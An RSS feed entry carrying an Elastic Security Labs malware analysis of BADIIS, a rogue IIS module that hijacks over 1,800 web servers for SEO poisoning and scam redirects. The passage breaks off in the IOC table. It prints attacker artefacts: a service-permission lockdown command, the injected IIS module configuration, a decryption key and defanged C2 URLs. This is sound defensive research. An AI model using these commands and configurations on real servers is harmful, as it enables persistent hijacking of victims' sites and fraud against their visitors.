<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Elastic Security Labs - Articles by Daniel Stepanic</title>
        <link>https://www.elastic.co/pt/security-labs</link>
        <description>Trusted security news &amp; research from the team at Elastic.</description>
        <lastBuildDate>Thu, 12 Mar 2026 18:55:41 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>Elastic Security Labs - Articles by Daniel Stepanic</title>
            <url>https://www.elastic.co/pt/security-labs/assets/security-labs-thumbnail.png</url>
            <link>https://www.elastic.co/pt/security-labs</link>
        </image>
        <copyright>© 2026. Elasticsearch B.V. All Rights Reserved</copyright>
        <item>
            <title><![CDATA[BADIIS to the Bone: New Insights to a Global SEO Poisoning Campaign]]></title>
            <link>https://www.elastic.co/pt/security-labs/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign</link>
            <guid>badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign</guid>
            <pubDate>Wed, 11 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[In November 2025, Elastic Security Labs observed an intrusion affecting a multinational organization based in Southeast Asia. During the analysis of this activity, our team observed various post-compromise techniques and tooling used to deploy BADIIS malware onto a Windows web server consistent with other industry publications.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>In November 2025, Elastic Security Labs observed an intrusion affecting a multinational organization based in Southeast Asia. During the analysis of this activity, our team observed various post-compromise techniques and tooling used to deploy BADIIS malware onto a Windows web server.  These observations align with previous reporting from <a href="https://blog.talosintelligence.com/uat-8099-chinese-speaking-cybercrime-group-seo-fraud/">Cisco Talos</a> and <a href="https://www.trendmicro.com/en_us/research/25/b/chinese-speaking-group-manipulates-seo-with-badiis.html">Trend Micro</a> from last year.</p>
<p>This threat group has amassed more victims and is coordinating a large-scale SEO poisoning operation from countries across the globe. Our visibility into the campaign indicates a complex, geotargeted infrastructure designed to monetize compromised servers by redirecting users to a broad network of illicit websites such as online gambling platforms and cryptocurrency schemes.</p>
<h3>Key takeaways</h3>
<ul>
<li>Elastic Security Labs observes large-scale SEO poisoning campaigns targeting IIS servers with BADIIS malware globally, impacting over 1,800 Windows servers</li>
<li>Compromised servers are monetized through a web of infrastructure used to target users with gambling advertisements and other illicit websites</li>
<li>Victim infrastructure includes governments, various corporate organizations, and educational institutions from Australia, Bangladesh, Brazil, China, India, Japan, Korea, Lithuania, Nepal, and Vietnam</li>
<li>This activity corresponds with the threat group, UAT-8099, identified by Cisco Talos last October, and is consistent with prior reporting from Trend Micro</li>
</ul>
<h2>Campaign Overview</h2>
<p>REF4033 is a Chinese-speaking cybercrime group responsible for a massive, coordinated SEO poisoning campaign that has compromised more than 1,800 Windows web servers worldwide using a malicious IIS module called BADIIS.</p>
<p>The campaign operates through a two-phase process:</p>
<ul>
<li>First, it serves keyword-stuffed HTML to search engine crawlers to poison search results, and</li>
<li>Next, it redirects victims to a sprawling &quot;vice economy&quot; of illicit gambling platforms, pornography, and sophisticated cryptocurrency phishing sites, such as a fraudulent clone of the Upbit exchange.</li>
</ul>
<p>By deploying the BADIIS malware, a malicious IIS module that integrates directly into a web server's request processing pipeline, the group hijacks the web servers for legitimate government, educational, and corporate domains. This high-reputation infrastructure is used to manipulate search engine rankings, thereby allowing attackers to intercept web traffic and facilitate widespread financial fraud.</p>
<h2>Intrusion activity</h2>
<p>In November 2025, Elastic Security Labs observed post-compromise activity from a Windows IIS server from an unknown attack vector. This threat actor moved quickly, progressing from initial access to IIS module deployment in less than 17 minutes. The initial enumeration was performed via a webshell running under the IIS worker process (<code>w3wp.exe</code>). The attacker conducted initial discovery and then created a new user account.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image9.png" alt="REF4033 execution flow" /></p>
<p>Shortly after the account was created and added to the Administrators group, <a href="https://www.elastic.co/pt/security">Elastic Defend</a> generated several alerts related to a newly created Windows service, <code>WalletServiceInfo</code>. The service loaded an unsigned ServiceDLL  (<code>C:\ProgramData\Microsoft\Windows\Ringtones\CbsMsgApi.dll</code>)  and subsequently executed direct syscalls from the module.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image18.png" alt="Suspicious Windows Service DLL Creation Alert" /></p>
<p>Next, we saw the threat actor harden their access by using a program called <a href="https://www.d99net.net/">D-Shield Firewall</a>. This software provides additional security features for IIS servers, including preventive protections and capabilities to add network restrictions. To proceed with the investigation, we used the observed imphash (<code>1e4b23eee1b96b0cc705da1e7fb9e2f3</code>) of the loader (<code>C:\ProgramData\Microsoft\Windows\Ringtones\CbsMsgApi.exe</code>) to obtain a loader <a href="https://www.virustotal.com/gui/file/055bdcaa0b69a1e205c931547ef863531e9fdfdaac93aaea29fb701c7b468294">sample</a> from VirusTotal for our analysis.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image14.png" alt="CbsMsgApi - imphash" /></p>
<p>To collect a sample of the malicious DLL used by this loader, we performed a VirusTotal <a href="https://www.virustotal.com/gui/search/name%253ACbsMsgApi%252Edll?type=files">search</a> on the name (<code>CbsMsgApi.dll</code>). We found 7 samples submitted using the same filename. The group behind this appears to have been using a similar codebase since September 2024. Most of these samples employ <a href="https://vmpsoft.com/">VMProtect</a>, a commercial code-obfuscation framework, to hinder static and dynamic analysis. Fortunately, we used an older, non-protected <a href="https://www.virustotal.com/gui/file/2340f152e8cb4cc7d5d15f384517d756a098283aef239f8cbfe3d91f8722800a">sample</a> to gain additional insight into this attack chain.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image12.png" alt="CbsMsgApi.dll sample listing in VirusTotal" /></p>
<h2>Code analysis - CbsMsgApi.exe</h2>
<p>The group employs an attack workflow that requires several files staged by the attacker to deploy the malicious IIS module. The execution chain begins with the PE executable, <code>CbsMsgApi.exe</code>. This file contains Chinese Simplified strings, including the PDB string (<code>C:\Users\Administrator\Desktop\替换配置文件\w3wpservice-svchost\x64\Release\CbsMsgApi.pdb</code>).</p>
<p>After launch, this program creates a Windows service, <code>WalletServiceinfo,</code> which configures a ServiceDLL (<code>CbsMsgApi.dll</code>) that runs under <code>svchost.exe</code>, similar to this <a href="https://www.ired.team/offensive-security/persistence/persisting-in-svchost.exe-with-a-service-dll-servicemain">persistence technique</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image26.png" alt="Console output from Cbs.exe" /></p>
<p>This newly created service focuses on stealth and anti-tampering by modifying the security descriptor of the service with the following command-line:</p>
<pre><code>sc sdset &quot;WalletServiceInfo&quot; &quot;D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)&quot;
</code></pre>
<h2>Code analysis - CbsMsgApi.dll</h2>
<p>The main component of this attack sequence is the ServiceDLL (<code>CbsMsgApi.dll</code>). The malicious DLL stages the BADIIS IIS native modules and alters the IIS configuration to load them into the request pipeline of the DefaultAppPool.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image4.png" alt="ServiceMain functionality within CbsMsgApi.dll" /></p>
<p>During this attack, the threat actor stages three files masquerading within the <code>System32\drivers</code> folder:</p>
<ul>
<li><code>C:\Windows\System32\drivers\WUDFPfprot.sys</code></li>
<li><code>C:\Windows\System32\drivers\WppRecorderpo.sys</code></li>
<li><code>C:\Windows\System32\drivers\WppRecorderrt.sys</code></li>
</ul>
<p>Two of these files (<code>WppRecorderrt.sys</code>, <code>WppRecorderpo.sys</code>) represent the malicious 32-bit / 64-bit BADIIS modules. The other file (<code>WUDFPfprot.sys</code>) represents configuration elements that will be injected into the IIS’s existing configuration. Below is an example configuration used during our analysis. Of note is the module name <code>WsmRes64</code> (more information on this DLL is detailed in the IIS Modules Analysis (<code>WsmRes32.dll</code> / <code>WsmRes64.dll</code>) section below):</p>
<pre><code>&lt;globalModules&gt;
    	&lt;add name=&quot;WsmRes64&quot; image=&quot;C:\Windows\Microsoft.NET\Framework\WsmRes64.dll&quot; preCondition=&quot;bitness64&quot; /&gt;
&lt;/globalModules&gt;
&lt;modules&gt;
    &lt;add name=&quot;WsmRes64&quot; preCondition=&quot;bitness64&quot; /&gt;
&lt;/modules&gt;
</code></pre>
<p>The malware uses the <code>CopyFileA</code> function to move the contents from the masqueraded files into the .NET directory (<code>C:\Windows\Microsoft.NET\Framework</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image7.png" alt="Copying the IIS module into the .NET Framework directory" /></p>
<p>Next, the malware parses the <code>DefaultAppPool.config</code> file, examining each node to update the <code>&lt;globalModules&gt;</code> and <code>&lt;modules&gt;</code> nodes. The module will inject configuration content from the previously masqueraded file (<code>WUDFPfprot.sys</code>), updating the IIS configuration via a series of append operations.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image8.png" alt="Procmon output showing DefaultAppPool modification" /></p>
<p>Below is an example of the newly added global module entry that references the BADIIS DLL.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image6.png" alt="Newly added global module" /></p>
<p>Upon successful execution, the BADIIS module is installed on the IIS server and becomes visible as a loaded module in the <code>w3wp.exe</code> worker process.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image20.png" alt="WsmRes64.dll loaded under w3wp.exe" /></p>
<h2>IIS Modules Analysis (WsmRes32.dll / WsmRes64.dll)</h2>
<p>The following section will describe the functionality of BADIIS modules. These modules facilitate the conditional injection or redirection of malicious SEO content based on criteria such as the User-Agent or Referer header value. This technique ensures that malicious content remains hidden during normal use, thereby allowing the modules to remain undetected for as long as possible.</p>
<p>Upon initialization, the module downloads content from URLs defined in its configuration. These URLs are stored in an encrypted format and decrypted using the <code>SM4 algorithm</code> (a Chinese national standard block cipher) in ECB mode with the key “<code>1111111122222222”</code>. In older samples, the AES-128 ECB algorithm was used instead.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image3.png" alt="Configuration decryption function" /></p>
<p>Each URL in the configuration points to a static <code>.txt</code> file that contains a second-stage resource. The list below details these source files and their specific roles:</p>
<table>
<thead>
<tr>
<th align="left">Example configuration URL</th>
<th align="left">File Name</th>
<th align="left">Content Description</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>hxxp://kr.gotz003[.]com/krfml/krfmlip.txt</code></td>
<td align="left"><code>*fmlip.txt</code></td>
<td align="left">Contains a URL pointing to a fake CSS file, <code>google.css</code>, that lists subnets used for filtering requests.</td>
</tr>
<tr>
<td align="left"><code>hxxp://kr.gotz003[.]com/krfml/krfmltz.txt</code></td>
<td align="left"><code>*fmltz.txt</code></td>
<td align="left">Contains a link to the target URL used for user redirections.</td>
</tr>
<tr>
<td align="left"><code>hxxp://kr.gotz003[.]com/krfml/krfmllj.txt</code></td>
<td align="left"><code>*fmllj.txt</code></td>
<td align="left">Contains a link to the malicious SEO backlinks intended for injection.</td>
</tr>
<tr>
<td align="left"><code>hxxp://kr.gotz003[.]com/krfml/krfmldz.txt</code></td>
<td align="left"><code>*fmldz.txt</code></td>
<td align="left">Contains the link to the SEO content generator.</td>
</tr>
</tbody>
</table>
<p>These URLs point to region-specific files, prefixed with the corresponding country code. While the examples above focus on Korea (<code>hxxp://kr.domain.com</code>), equivalent files exist for other regions, such as Vietnam (VN), where filenames are prefixed with <code>&quot;vn&quot;</code> rather than &quot;<code>kr&quot;</code>(<code>hxxp://vn.domain.com</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image3.png" alt="Decrypted configuration URL using the SM4 algorithm" /></p>
<p>The BADIIS module registers within the request processing pipeline, positioning itself as both the first and the last handler. For each request, the module verifies specific properties and selects an injection or redirection strategy based on the results. We have three types of injection:</p>
<table>
<thead>
<tr>
<th align="left">Source</th>
<th align="left">Injection Method</th>
<th align="left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>*fmltz.txt</code></td>
<td align="left">Full page replacement</td>
<td align="left">HTML loader with progress bar + auto-redirect + Google Analytics tracking</td>
</tr>
<tr>
<td align="left"><code>*fmldz.txt</code></td>
<td align="left">Full page replacement</td>
<td align="left">Direct link to SEO content, built with <code>index.php?domain=&lt;host&gt;&amp;uri=&lt;original_link&gt;</code></td>
</tr>
<tr>
<td align="left"><code>*fmllj.txt</code></td>
<td align="left">Inline injection</td>
<td align="left">SEO backlinks injected after <code>&lt;body&gt;</code> or <code>&lt;html&gt;</code> tag in existing response</td>
</tr>
</tbody>
</table>
<p>To distinguish between bot and human traffic, the module checks against the following list of Referers and User-Agents.</p>
<p><strong>Referers</strong>: <code>bing</code>, <code>google</code>, <code>naver</code>, <code>daum</code><br />
<strong>User agents</strong>: <code>bingbot</code>, <code>Googlebot</code>, <code>Yeti</code>, <code>Daum</code></p>
<p>The default injection strategy targets search engine crawlers accessing a legitimate page on the compromised site.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image19.png" alt="Download and injection of SEO backlinks" /></p>
<p>In this scenario, the SEO backlinks are retrieved from the secondary link and injected into the page to be crawled by search engine bots. The downloaded backlinks that are injected into the infected page primarily target other local pages within the domain, whereas the remainder point to pages on other infected domains. This is a key aspect of the link-farming strategy, which involves creating large networks of sites that link to one another and manipulate search rankings.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image22.png" alt="Inlined SEO backlinks on the infected page" /></p>
<p>The local pages linked by the backlinks do not exist on the infected domain, so visiting them results in a 404 error. However, when the request is intercepted, the malware checks two conditions: whether the status code is not 200 or 3xx, and whether the browser's User-Agent matches a crawler bot. If so, it downloads content from an SEO page hosted on its infrastructure (via a link in the <code>*fmldz.txt</code> file from its configuration URL) and returns a 200 response code to the bot. This target URL is built using 'domain' and 'uri' parameters that contain the infected domain name and the resource the crawler originally attempted to access.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image1.png" alt="404 page replacement strategy with User-Agent" /></p>
<p>Finally, if a user requests a page that does not exist and arrives with a Referer header value listed by the malware, the page is replaced by a third type of content: a landing page with a loading bar. This page uses JavaScript to redirect the user to the link contained in the <code>*fmltz.txt</code> file, which is obtained via its configuration link.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image23.png" alt="404 landing/redirection page with Referer" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image5.png" alt="404 redirection target with Referer" /></p>
<p>Optionally, if enabled, the request is executed only when the User-Agent matches a mobile phone, ensuring the server targets mobile users exclusively.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image17.png" alt="Requests are optionally filtered on server IP and mobile’s User-Agents" /></p>
<p>The list of mobile User-Agents is listed below:</p>
<p><strong>Devices:</strong> <code>iPhone</code>, <code>iPad</code>, <code>iPod</code>, <code>iOS</code>, <code>Android</code>, <code>uc (UC Browser)</code>, <code>BlackBerry</code>, <code>HUAWEI</code></p>
<p>If the option is enabled and the infected server's IP address matches the subnet list in the <code>google.css</code> file downloaded from the <code>*fmlip.txt</code> file, the server serves the standard SEO content instead of the landing/redirection page.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image21.png" alt="Subnet filter list" /></p>
<p>The landing page includes JavaScript code containing an analytics tag—either Google Analytics or Baidu Tongji, depending on the target region—to monitor redirections. While the exact reason for using server IP filtering to restrict traffic remains unclear, we speculate that it is linked to these analytics and implemented for SEO purposes.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image24.png" alt="Google Analytics in landing pages" /></p>
<p>We identified the following Google tags across the campaign:</p>
<ul>
<li><code>G-2FK43E86ZM</code></li>
<li><code>G-R0KHSLRZ7N</code></li>
</ul>
<p>As well as a Baidu Tongji tag:</p>
<ul>
<li><code>B59ff1638e92ab1127b7bc76c7922245</code></li>
</ul>
<h2>Campaign Analysis</h2>
<p>Based on similarity in URL patterns (<code>&lt;country_code&gt;fml__.txt</code>, <code>&lt;country_code&gt;fml/index.php</code>), we discovered an older campaign dating back to mid-2023 that was using the following domains as the configuration server.</p>
<ul>
<li><code>tz123[.]app</code></li>
<li><code>tz789[.]app</code></li>
</ul>
<p><code>tz123[.]app</code> was disclosed in a Trend Micro BADIIS <a href="https://www.trendmicro.com/en_us/research/25/b/chinese-speaking-group-manipulates-seo-with-badiis.html">campaign summary</a> <a href="https://documents.trendmicro.com/assets/txt/badiis-IOCspbJhGdi.txt">IOC list</a>, published in 2024 . Based on the first submission dates on VT for samples named <code>ul_cache.dll</code> and communicating with <code>hxxp://tz789[.]app/brfmljs[.]txt</code>, some are also submitted under the filename <code>WsmRes64.dll</code>. This naming convention is consistent with the BADIIS loader component analyzed in the prior section. The earliest <a href="https://www.virustotal.com/gui/file/ec5a69bc62e66a2677ab91da16c247b780d109baa24c46b4b99233768455f558">sample</a> we discovered on VT was first submitted on 2023-12-12.</p>
<p>For REF4033, the infrastructure is split between two primary configuration servers.</p>
<ul>
<li>Recent campaigns (<code>gotz003[.]com</code>): Currently serves as the primary configuration hub. Further analysis has identified 5 active subdomains categorized by country codes:
<ul>
<li><code>kr.gotz003[.]com</code> (South Korea)</li>
<li><code>vn.gotz003[.]com</code> (Vietnam)</li>
<li><code>cn.gotz003[.]com</code> (China)</li>
<li><code>cnse.gotz003[.]com</code> (China)</li>
<li><code>bd.gotz003[.]com</code> (Bangladesh)</li>
</ul>
</li>
<li>Legacy infrastructure (<code>jbtz003[.]com</code>): Used in older campaign iterations, though several subdomains remain operational:</li>
<li><code>br.jbtz003[.]com</code> (Brazil)</li>
<li><code>vn.jbtz003[.]com</code> (Vietnam)</li>
<li><code>vnbtc.jbtz003[.]com</code> (Vietnam)</li>
<li><code>in.jbtz003[.]com</code> (India)</li>
<li><code>cn.jbtz003[.]com</code> (China)</li>
<li><code>jp.jbtz003[.]com</code> (Japan)</li>
<li><code>pk.jbtz003[.]com</code> (Pakistan)</li>
</ul>
<p>At its core, the recent campaign monetizes compromised servers by redirecting users to a vast network of illicit websites. The campaign is heavily invested in the vice economy, targeting Asian audiences, such as unregulated online casinos, pornography streaming, and explicit advertisements for prostitution services.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image10.png" alt="Redirected sites for users" /></p>
<p>It also poses a direct financial threat. One example was a fraudulent cryptocurrency staking platform hosted at <code>uupbit[.]top</code>, impersonating Upbit, South Korea’s largest cryptocurrency exchange.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image11.png" alt="www.uupbit[.]top - from urlscan.io" /></p>
<p>The campaign’s targeting logic largely mirrors the compromised infrastructure's geography, establishing a correlation between the server’s location and the user’s redirection target. For instance, compromised servers in China funnel traffic to local gambling sites, while those in South Korea redirect to the fraudulent Upbit phishing site. The exception to this pattern involved compromised infrastructure in Bangladesh, which the actors configured HTTP redirects to point to non-local, Vietnamese gambling sites.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image16.png" alt="User redirection link - infected servers located in Bangladesh" /></p>
<p>We have observed several different redirection loading pages throughout the clusters. Below is an example of the user redirection template for a <a href="https://www.virustotal.com/gui/file/1f9e694cac70d089f549d7adf91513f0f7e1d4ef212979aad67a5aea10c6d016">sample</a> targeting VN victim infrastructure. This template uses a Google tag and is very similar to one of the templates described in Cisco Talos’ <a href="https://blog.talosintelligence.com/uat-8099-chinese-speaking-cybercrime-group-seo-fraud/">UAT-8099 research</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image13.png" alt="Redirection template 1" /></p>
<p>A more consistent template observed across the victim clusters is shown in the snippet below, particularly the progress bar logic. Since the <a href="https://www.virustotal.com/gui/file/c5abe6936fe111bbded1757a90c934a9e18d849edd70e56a451c1547688ff96f/detection">sample</a> targets CN victim infrastructure, Baidu Tongji is used for tracking victim redirection.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image15.png" alt="Redirection template 2" /></p>
<p>We discovered several clusters (some with overlaps) of compromised servers from URLs containing backlinks in the following list:</p>
<ul>
<li><code>http://kr.gotz001[.]com/lunlian/index.php</code></li>
<li><code>http://se.gotz001[.]com/lunlian/index.php</code></li>
<li><code>https://cn404.gotz001[.]com/lunlian/index.php</code></li>
<li><code>https://cnse.gotz001[.]com/lunlian/index.php</code></li>
<li><code>https://cn.gotz001[.]com/lunlian/index.php</code></li>
<li><code>https://cn.gotz001[.]com/lunlian/indexgov.php</code></li>
<li><code>https://vn404.gotz001[.]com/lunlian/index.php</code></li>
<li><code>https://vn.gotz001[.]com/lunlian/index.php</code></li>
<li><code>http://bd.gotz001[.]com/lunlian/index.php</code></li>
<li><code>http://vn.jbtz001[.]com/lunlian/index.php</code></li>
<li><code>https://vnse.jbtz001[.]com/lunlian/index.php</code></li>
<li><code>https://vnbtc.jbtz001[.]com/lunlian/index.php</code></li>
<li><code>https://in.jbtz001[.]com/lunlian/index.php</code></li>
<li><code>https://br.jbtz001[.]com/lunlian/index.php</code></li>
<li><code>https://cn.jbtz001[.]com/lunlian/index.php</code></li>
<li><code>https://jp.jbtz001[.]com/lunlian/index.php</code></li>
<li><code>https://pk.jbtz001[.]com/lunlian/index.php</code></li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image25.png" alt="Link farm content at https://vn404[.]gotz001[.]com/lunlian/index.php" /></p>
<p>Within the scope of REF4033, <strong>more than 1800 servers were impacted globally</strong>, and the campaign demonstrates a clear geographic focus on the APAC region, with China and Vietnam accounting for approximately 82% of all observed compromised servers (46.1% and 35.8%, respectively). Secondary concentrations are observed in India (3.9%), Brazil (3.8%), and South Korea (3.4%), although these represent a minority of the overall campaign footprint. Notably, approximately 30% of compromised servers reside on major cloud platforms, including Amazon Web Services, Microsoft Azure, Alibaba Cloud, and Tencent Cloud. The remaining 70% of victims are distributed across regional telecommunications providers.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image28.png" alt="Victim infrastructure grouped by country &amp; ASN" /></p>
<p>The victim profile spans diverse sectors, including government agencies, educational institutions, healthcare providers, e-commerce platforms, media outlets, and financial services, indicating large-scale opportunistic exploitation rather than targeted exploitation. Government and public administration systems represent approximately 8% of identified victims across at least 5 countries (<code>.gov.cn</code>, <code>.gov.br</code>, <code>.gov.bd</code>, <code>.gov.vn</code>, <code>.gov.in</code>, <code>.leg.br</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/image29.png" alt="Victim mapped via Geo IP" /></p>
<h2>REF4033 through MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1190">Exploit Public-Facing Application</a></li>
<li><a href="https://attack.mitre.org/techniques/T1505/004/">Server Software Component: IIS Components</a></li>
<li><a href="https://attack.mitre.org/techniques/T1136/001/">Create Account: Local Account</a></li>
<li><a href="https://attack.mitre.org/techniques/T1543/003/">Create or Modify System Process: Windows Service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1574/011/">Hijack Execution Flow: Services Registry Permissions Weakness</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/002/">Obfuscated Files or Information: Software Packing</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/005/">Masquerading: Match Legitimate Name or Location</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
</ul>
<h2>Remediating REF4033</h2>
<h3>Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/initial_access_suspicious_microsoft_iis_worker_descendant.toml">Suspicious Microsoft IIS Worker Descendant</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_potential_privilege_escalation_via_token_impersonation.toml">Potential Privilege Escalation via Token Impersonation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_privilege_escalation_via_seimpersonateprivilege.toml">Privilege Escalation via SeImpersonatePrivilege</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_direct_syscall_from_unsigned_module.toml">Direct Syscall from Unsigned Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/persistence_suspicious_windows_service_dll_creation.toml">Suspicious Windows Service DLL Creation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/persistence_suspicious_svchost_registry_modification.toml">Suspicious Svchost Registry Modification</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/credential_access_security_account_manager_(sam)_registry_access.toml">Security Account Manager (SAM) Registry Access</a></li>
</ul>
<h4>YARA</h4>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_BadIIS.yar">Windows.Trojan.BadIIS</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/dc64ed57860f4a150c7d1fe33d645d69f384506e/yara/rules/Windows_Trojan_Generic.yar#L364">Windows.Trojan.Generic</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>055bdcaa0b69a1e205c931547ef863531e9fdfdaac93aaea29fb701c7b468294</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>CbsMsgApi.exe</code></td>
<td align="left">Service Installer</td>
</tr>
<tr>
<td align="left"><code>2340f152e8cb4cc7d5d15f384517d756a098283aef239f8cbfe3d91f8722800a</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>CbsMsgApi.dll</code></td>
<td align="left">ServiceDLL</td>
</tr>
<tr>
<td align="left"><code>c2ff48cfa38598ad514466673b506e377839d25d5dfb1c3d88908c231112d1b2</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>CbsMsgApi.dll</code></td>
<td align="left">ServiceDLL</td>
</tr>
<tr>
<td align="left"><code>7f2987e49211ff265378349ea648498042cd0817e131da41156d4eafee4310ca</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>D_Safe_Manage.exe</code></td>
<td align="left">D-Shield Firewall</td>
</tr>
<tr>
<td align="left"><code>1b723a5f9725b607926e925d1797f7ec9664bb308c9602002345485e18085b72</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>WsmRes64.idx</code></td>
<td align="left">64-bit BADIIS module</td>
</tr>
<tr>
<td align="left"><code>1f9e694cac70d089f549d7adf91513f0f7e1d4ef212979aad67a5aea10c6d016</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>WsmRes64.idx2.sc</code></td>
<td align="left">64-bit BADIIS module</td>
</tr>
<tr>
<td align="left"><code>c5abe6936fe111bbded1757a90c934a9e18d849edd70e56a451c1547688ff96f</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>WsmRes32.idx</code></td>
<td align="left">32-bit BADIIS module</td>
</tr>
<tr>
